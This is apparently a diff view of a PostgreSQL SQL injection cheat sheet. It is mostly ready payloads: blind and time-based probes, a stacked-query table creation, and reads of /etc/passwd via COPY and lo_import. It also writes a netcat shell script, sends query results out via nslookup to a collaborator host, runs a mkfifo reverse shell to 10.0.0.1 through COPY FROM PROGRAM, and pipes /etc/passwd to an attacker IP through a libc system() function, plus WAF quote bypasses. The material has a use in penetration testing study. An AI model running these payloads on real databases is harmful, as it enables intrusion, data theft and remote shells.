## PostgreSQL XML Helpers
|
||||
### PostgreSQL XML Helpers
|
||||
|
||||
```sql
|
||||
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
|
||||
@ -150,8 +120,8 @@ Note, with the above queries, the output needs to be assembled in memory. For la
|
||||
## PostgreSQL Blind
|
||||
|
||||
```sql
|
||||
' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
|
||||
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
|
||||
' and substr(version(),1,10) = 'PostgreSQL' and '1 -- TRUE
|
||||
' and substr(version(),1,10) = 'PostgreXXX' and '1 -- FALSE
|
||||
```
|
||||
|
||||
## PostgreSQL Time Based
|
||||
@ -183,29 +153,51 @@ select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end
|
||||
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
|
||||
```
|
||||
|
||||
|
||||
```sql
|
||||
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
|
||||
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
|
||||
```
|
||||
|
||||
## PostgreSQL Out of Band
|
||||
|
||||
Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as `COPY`, `lo_export`, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept.
|
||||
|
||||
```sql
|
||||
declare c text;
|
||||
declare p text;
|
||||
begin
|
||||
SELECT into p (SELECT YOUR-QUERY-HERE);
|
||||
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
|
||||
execute c;
|
||||
END;
|
||||
$$ language plpgsql security definer;
|
||||
SELECT f();
|
||||
```
|
||||
|
||||
|
||||
## PostgreSQL Stacked Query
|
||||
|
||||
Use a semi-colon "`;`" to add another query
|
||||
|
||||
```sql
|
||||
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
|
||||
SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));--
|
||||
```
|
||||
|
||||
|
||||
## PostgreSQL File Read
|
||||
## PostgreSQL File Manipulation
|
||||
|
||||
### PostgreSQL File Read
|
||||
|
||||
NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [0fdc8495bff02684142a44ab3bc5b18a8ca1863a](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group.
|
||||
|
||||
* Using `pg_read_file`, `pg_ls_dir`
|
||||
|
||||
```sql
|
||||
select pg_ls_dir('./');
|
||||
select pg_read_file('PG_VERSION', 0, 200);
|
||||
```
|
||||
|
||||
NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [this](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group.
|
||||
* Using `COPY`
|
||||
|
||||
```sql
|
||||
CREATE TABLE temp(t TEXT);
|
||||
@ -213,47 +205,56 @@ COPY temp FROM '/etc/passwd';
|
||||
SELECT * FROM temp limit 1 offset 0;
|
||||
```
|
||||
|
||||
* Using `lo_import`
|
||||
|
||||
```sql
|
||||
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
|
||||
SELECT lo_get(16420); -- use the OID returned from the above
|
||||
SELECT * from pg_largeobject; -- or just get all the large objects and their data
|
||||
```
|
||||
|
||||
## PostgreSQL File Write
|
||||
|
||||
### PostgreSQL File Write
|
||||
|
||||
* Using `COPY`
|
||||
|
||||
```sql
|
||||
CREATE TABLE pentestlab (t TEXT);
|
||||
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
|
||||
SELECT * FROM pentestlab;
|
||||
COPY pentestlab(t) TO '/tmp/pentestlab';
|
||||
CREATE TABLE nc (t TEXT);
|
||||
INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash');
|
||||
SELECT * FROM nc;
|
||||
COPY nc(t) TO '/tmp/nc.sh';
|
||||
```
|
||||
|
||||
Or as one line:
|
||||
* Using `COPY` (one-line)
|
||||
|
||||
```sql
|
||||
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
|
||||
```
|
||||
|
||||
* Using `lo_from_bytea`, `lo_put` and `lo_export`
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
|
||||
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
|
||||
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
|
||||
```
|
||||
|
||||
|
||||
## PostgreSQL Command Execution
|
||||
|
||||
### CVE-2019–9193
|
||||
### Using COPY TO/FROM PROGRAM
|
||||
|
||||
Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
|
||||
Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with '`pg_execute_server_program`' to pipe to and from an external program using `COPY`.
|
||||
|
||||
```SQL
|
||||
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
|
||||
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
|
||||
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
|
||||
SELECT * FROM cmd_exec; -- [Optional] View the results
|
||||
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
|
||||
```sql
|
||||
COPY (SELECT '') to PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
|
||||
```
|
||||
|
||||
```sql
|
||||
CREATE TABLE shell(output text);
|
||||
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';
|
||||
```
|
||||
|
||||
![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png)
|
||||
|
||||
### Using libc.so.6
|
||||
|
||||
@ -262,22 +263,15 @@ CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
```
|
||||
|
||||
### Bypass Filter
|
||||
|
||||
#### Quotes
|
||||
### PostgreSQL WAF Bypass
|
||||
|
||||
Using CHR
|
||||
#### Alternative to Quotes
|
||||
|
||||
```sql
|
||||
SELECT CHR(65)||CHR(66)||CHR(67);
|
||||
```
|
||||
|
||||
Using Dollar-signs ( >= version 8 PostgreSQL)
|
||||
|
||||
```sql
|
||||
SELECT $$This is a string$$
|
||||
SELECT $TAG$This is another string$TAG$
|
||||
```
|
||||
| Payload | Technique |
|
||||
| ------------------ | --------- |
|
||||
| `SELECT CHR(65)\|\|CHR(66)\|\|CHR(67);` | String from `CHR()` |
|
||||
| `SELECT $TAG$This` | Dollar-sign ( >= version 8 PostgreSQL) |
|
||||
|
||||
|
||||
## References
|
||||
|
Loading…
Reference in New Issue
Block a user